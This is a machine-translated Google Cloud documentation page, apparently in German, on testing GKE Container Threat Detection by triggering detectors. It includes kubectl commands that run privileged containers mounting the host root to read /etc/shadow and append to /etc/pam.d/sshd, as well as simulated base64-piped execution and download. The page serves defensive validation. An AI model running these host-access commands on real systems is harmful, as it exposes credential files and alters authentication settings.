Google uses AI technology to translate content into your preferred language. AI translations can contain errors.

Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Damit Ergebnisse von Container Threat Detection angezeigt werden können, muss dieser Dienst in den Services-Einstellungen von Security Command Center aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden. Wenn Sie die Bedrohungserkennung auf ARM testen möchten, benötigen Sie einen Cluster mit einem Knotenpool, der ARM-Instanzen enthält. Weitere Informationen finden Sie unter Arm-Arbeitslasten in GKE.

Status eines Detektors prüfen

Sie können nur aktivierte Detektoren testen. Bevor Sie einen Detektor testen, müssen Sie prüfen, ob er aktiviert ist.

Console

Wenn der Dienst „Container Threat Detection“ aktiviert ist, können Sie den Aktivierungsstatus der einzelnen Module festlegen.

Rufen Sie in der Google Cloud Console die Seite Module für Container Threat Detection auf.
Zu den Modulen
Wählen Sie Ihre Organisation oder das Projekt aus.
Wählen Sie auf dem Tab Module in der Spalte Status den aktuellen Status des Moduls aus, das Sie aktivieren oder deaktivieren möchten, und wählen Sie dann eine der folgenden Optionen aus:
- Aktivieren: Aktivieren Sie das Modul.
- Deaktivieren: Das Modul wird deaktiviert.

gcloud

Mit dem Befehl gcloud scc manage services describe wird der Status eines Security Command Center-Dienstes oder -Moduls abgerufen.

Ersetzen Sie folgende Werte, bevor sie einen der Befehlsdaten verwenden:

RESOURCE_TYPE: Der abzurufende Ressourcentyp (organization, folder oder project)
RESOURCE_ID: Die numerische Kennzeichnung der Organisation, des Ordners oder des Projekts, das abgerufen werden soll. Bei Projekten können Sie auch die alphanumerische Projekt-ID verwenden.

Führen Sie den Befehl gcloud scc manage services describe aus:

Linux, macOS oder Cloud Shell

gcloud scc manage services describe container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID

Windows (PowerShell)

gcloud scc manage services describe container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID

Windows (cmd.exe)

gcloud scc manage services describe container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID

Sie sollten eine Antwort ähnlich der folgenden erhalten: Aus Gründen der Übersichtlichkeit wird in diesem Beispiel nur eine Teilmenge aller Container Threat Detection-Module gezeigt.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Mit der Methode RESOURCE_TYPE.locations.securityCenterServices.get der Security Command Center Management API wird der Status eines Security Command Center-Dienstes oder -Moduls abgerufen.

Ersetzen Sie diese Werte in den folgenden Anfragedaten:

RESOURCE_TYPE: der abzurufende Ressourcentyp (organizations, folders oder projects).
QUOTA_PROJECT: die Projekt-ID, die für die Abrechnung und das Kontingent-Tracking verwendet werden soll.
RESOURCE_ID: Die numerische Kennzeichnung der Organisation, des Ordners oder des Projekts, das abgerufen werden soll. Bei Projekten können Sie auch die alphanumerische Projekt-ID verwenden.

HTTP-Methode und URL:

GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection

Wenn Sie die Anfrage senden möchten, maximieren Sie eine der folgenden Optionen:

curl (Linux, macOS oder Cloud Shell)

Hinweis: Der folgende Befehl setzt voraus, dass Sie sich mit Ihrem Nutzerkonto in der gcloud-Befehlszeile angemeldet haben, indem Sie gcloud init oder gcloud auth login ausgeführt oder die Cloud Shell genutzt haben, die Sie automatisch in der gcloud-Befehlszeile anmeldet. Um herauszufinden, welches Konto gerade aktiv ist, führen Sie gcloud auth list aus.

Führen Sie folgenden Befehl aus:

curl -X GET \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "x-goog-user-project: QUOTA_PROJECT" \
     "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection"

PowerShell (Windows)

Hinweis: Der folgende Befehl setzt voraus, dass Sie sich mit Ihrem Nutzerkonto in der gcloud-Befehlszeile angemeldet haben, indem Sie gcloud init oder gcloud auth login ausgeführt haben. Um herauszufinden, welches Konto gerade aktiv ist, führen Sie gcloud auth list aus.

Führen Sie diesen Befehl aus:

$cred = gcloud auth print-access-token
$headers = @{ "Authorization" = "Bearer $cred"; "x-goog-user-project" = "QUOTA_PROJECT" }

Invoke-WebRequest `
    -Method GET `
    -Headers $headers `
    -Uri "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection" | Select-Object -Expand Content

Sie sollten eine Antwort ähnlich der folgenden erhalten: Aus Gründen der Übersichtlichkeit wird in diesem Beispiel nur eine Teilmenge aller Container Threat Detection-Module gezeigt.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Detektoren aktivieren

Wenn ein Detektor deaktiviert ist und Sie ihn testen möchten, müssen Sie ihn zuerst aktivieren.

Einige Detektoren sind standardmäßig deaktiviert. Weitere Informationen finden Sie unter Deaktivierte Detektoren.

Console

Wenn der Dienst „Container Threat Detection“ aktiviert ist, können Sie den Aktivierungsstatus der einzelnen Module festlegen.

Rufen Sie in der Google Cloud Console die Seite Module für Container Threat Detection auf.
Zu den Modulen
Wählen Sie Ihre Organisation oder das Projekt aus.
Wählen Sie auf dem Tab Module in der Spalte Status den aktuellen Status des Moduls aus, das Sie aktivieren oder deaktivieren möchten, und wählen Sie dann eine der folgenden Optionen aus:
- Aktivieren: Aktivieren Sie das Modul.
- Deaktivieren: Das Modul wird deaktiviert.

gcloud

Mit dem Befehl gcloud scc manage services update wird der Status eines Security Command Center-Dienstes oder ‑Moduls aktualisiert.

Ersetzen Sie folgende Werte, bevor sie einen der Befehlsdaten verwenden:

RESOURCE_TYPE: der zu aktualisierende Ressourcentyp (organization, folder oder project).
RESOURCE_ID: Die numerische Kennung für die zu aktualisierende Organisation, den Ordner oder das Projekt. Bei Projekten können Sie auch die alphanumerische Projekt-ID verwenden.
MODULE_NAME: der Name des Moduls, das aktiviert oder deaktiviert werden soll. Gültige Werte finden Sie unter Container Threat Detection-Detektoren.

Speichern Sie den folgenden Inhalt in einer Datei mit dem Namen request.json:

{
  "MODULE_NAME": {
    "intendedEnablementState": "ENABLED"
  }
}

Führen Sie den Befehl gcloud scc manage services update aus:

Linux, macOS oder Cloud Shell

gcloud scc manage services update container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID \
    --module-config-file=request.json

Windows (PowerShell)

gcloud scc manage services update container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID `
    --module-config-file=request.json

Windows (cmd.exe)

gcloud scc manage services update container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID ^
    --module-config-file=request.json

Sie sollten eine Antwort ähnlich der folgenden erhalten: Aus Gründen der Übersichtlichkeit wird in diesem Beispiel nur eine Teilmenge aller Container Threat Detection-Module gezeigt.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Mit der Methode RESOURCE_TYPE.locations.securityCenterServices.patch der Security Command Center Management API wird der Status eines Security Command Center-Dienstes oder -Moduls aktualisiert.

Ersetzen Sie diese Werte in den folgenden Anfragedaten:

RESOURCE_TYPE: der zu aktualisierende Ressourcentyp (organizations, folders oder projects).
QUOTA_PROJECT: die Projekt-ID, die für die Abrechnung und das Kontingent-Tracking verwendet werden soll.
RESOURCE_ID: Die numerische Kennung für die zu aktualisierende Organisation, den Ordner oder das Projekt. Bei Projekten können Sie auch die alphanumerische Projekt-ID verwenden.
MODULE_NAME: der Name des Moduls, das aktiviert oder deaktiviert werden soll. Gültige Werte finden Sie unter Container Threat Detection-Detektoren.

HTTP-Methode und URL:

PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules

JSON-Text anfordern:

{
  "modules": {
    "MODULE_NAME": {
      "intendedEnablementState": "ENABLED"
    }
  }
}

Wenn Sie die Anfrage senden möchten, maximieren Sie eine der folgenden Optionen:

curl (Linux, macOS oder Cloud Shell)

Speichern Sie den Anfragetext in einer Datei mit dem Namen request.json und führen Sie den folgenden Befehl aus:

curl -X PATCH \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "x-goog-user-project: QUOTA_PROJECT" \
     -H "Content-Type: application/json; charset=utf-8" \
     -d @request.json \
     "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules"

PowerShell (Windows)

Hinweis: Der folgende Befehl setzt voraus, dass Sie sich mit Ihrem Nutzerkonto in der gcloud-Befehlszeile angemeldet haben, indem Sie gcloud init oder gcloud auth login ausgeführt haben. Um herauszufinden, welches Konto gerade aktiv ist, führen Sie gcloud auth list aus.

Speichern Sie den Anfragetext in einer Datei mit dem Namen request.json und führen Sie den folgenden Befehl aus:

$cred = gcloud auth print-access-token
$headers = @{ "Authorization" = "Bearer $cred"; "x-goog-user-project" = "QUOTA_PROJECT" }

Invoke-WebRequest `
    -Method PATCH `
    -Headers $headers `
    -ContentType: "application/json; charset=utf-8" `
    -InFile request.json `
    -Uri "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules" | Select-Object -Expand Content

Sie sollten eine Antwort ähnlich der folgenden erhalten: Aus Gründen der Übersichtlichkeit wird in diesem Beispiel nur eine Teilmenge aller Container Threat Detection-Module gezeigt.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

Rufen Sie die Google Cloud Console auf.

Rufen Sie die Google Cloud Console auf.
Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.
Klicken Sie auf Google Cloud Shell aktivieren.
Legen Sie in Cloud Shell Umgebungsvariablen fest:
1. Die Zone, in der sich der Cluster befindet:
```
export ZONE=CLUSTER_ZONE
```
2. Das Projekt, in dem sich der Container befindet:
```
export PROJECT=PROJECT_ID
```
3. Ihr Clustername:
```
export CLUSTER_NAME=CLUSTER_NAME
```

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 24.04 ausgeführt wird und Container unveränderlich sind.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

ARM-Knoten:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Hinzugefügte Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Hinzugefügte Binärdatei ausgeführt“ von Container Threat Detection beim Erstellen eines Containers vorübergehend herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Added Binary Executed“ sehen möchten, während Sie einen Container einrichten, stellen Sie dem Containernamen oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 24.04 befindet und Container unveränderlich sind.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Mediathek ab und laden Sie sie mit ld:

x86-Knoten:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

ARM-Knoten:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Hinzugefügte Bibliothek geladen“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Hinzugefügte Bibliothek geladen“ von Container Threat Detection beim ersten Erstellen eines Containers vorübergehend herausgefiltert. Wenn Sie beim Einrichten eines Containers alle Ergebnisse des Typs „Hinzugefügte Bibliothek geladen“ sehen möchten, stellen Sie dem Containernamen oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Sammlung: Pam.d-Änderung (Vorabversion)

Wenn Sie eine Erkennung von pam.d-Änderungen auslösen möchten, ändern Sie eine der PAM-bezogenen Dateien des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts im Container bereitgestellt und dann /etc/pam.d/sshd geändert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei aus, die eine der PAM-bezogenen Dateien auf dem Host ändert.

x86-Knoten:

tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „pam.d-Änderung“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging sehen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Command and Control: Codeausführung mit Pipe-Codierung

Damit ein Command and Control: Piped Encoded Code Execution-Ergebnis ausgelöst wird, muss für eine Binärdatei, die Code ausführen kann, z. B. python, ein base64-Decodierungsbefehl in die Ausführung eingeleitet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird echo verwendet, um einen codierten String, der Hello World ausgibt, an die ausführbare Datei python zu übergeben. Dieses Verhalten wird als verdächtig eingestuft, da es auf den Versuch eines Angreifers hinweisen kann, ein schädliches Skript auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Base64-codierten String decodieren und in python weiterleiten:

x86-Knoten:

tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"

ARM-Knoten:

tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"

Mit diesem Testverfahren wird ein Command and Control: Piped Encoded Code Execution-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Command and Control: Download mit Pipe-Codierung

Um einen Command and Control: Piped Encoded Download-Befund auszulösen, muss eine ausführbare Datei wie curl in einen base64-Decodierungsbefehl geleitet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/echo und benennt es in curl um. Anschließend wird ein simulierter Curl-Aufruf in base64 geleitet. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, ein schädliches Skript herunterzuladen und zu decodieren, das später von einem Angreifer verwendet werden soll.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie einen curl-Aufruf aus und leiten Sie ihn an base64 -d weiter:

x86-Knoten:

tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"

ARM-Knoten:

tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"

Mit diesem Testverfahren wird ein Command and Control: Piped Encoded Download-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Command-and-Control-Aktivitäten: Steganographie-Tool erkannt

Um einen Command and Control: Steganography Tool Detected-Befund (Vorschau) auszulösen, muss eine Binärdatei mit Dateimanipulationsfunktionen, die mit Steganografietools übereinstimmen, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in steghide um (oder in ein anderes Steganografietool wie stegano). Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, einen Container zum Verbergen oder Extrahieren von Daten vorzubereiten, möglicherweise zu schädlichen Zwecken.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein Steganographie-Tool wie steghide aus:

x86-Knoten:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

ARM-Knoten:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Mit diesem Testverfahren wird ein Command and Control: Steganography Tool Detected-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Auf vertrauliche Dateien auf Knoten zugreifen (Vorschau)

Um die Erkennung „Auf vertrauliche Datei zugegriffen“ auszulösen, lesen Sie die /etc/shadow-Datei des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts im Container bereitgestellt und dann /etc/shadow mit cat gelesen.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Binärprogramm aus, das die Datei /etc/shadow des Hosts liest.

x86-Knoten:

tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „Auf vertrauliche Datei zugegriffen“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging sehen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zugriff auf Anmeldedaten: Finden Google Cloud Anmeldedaten

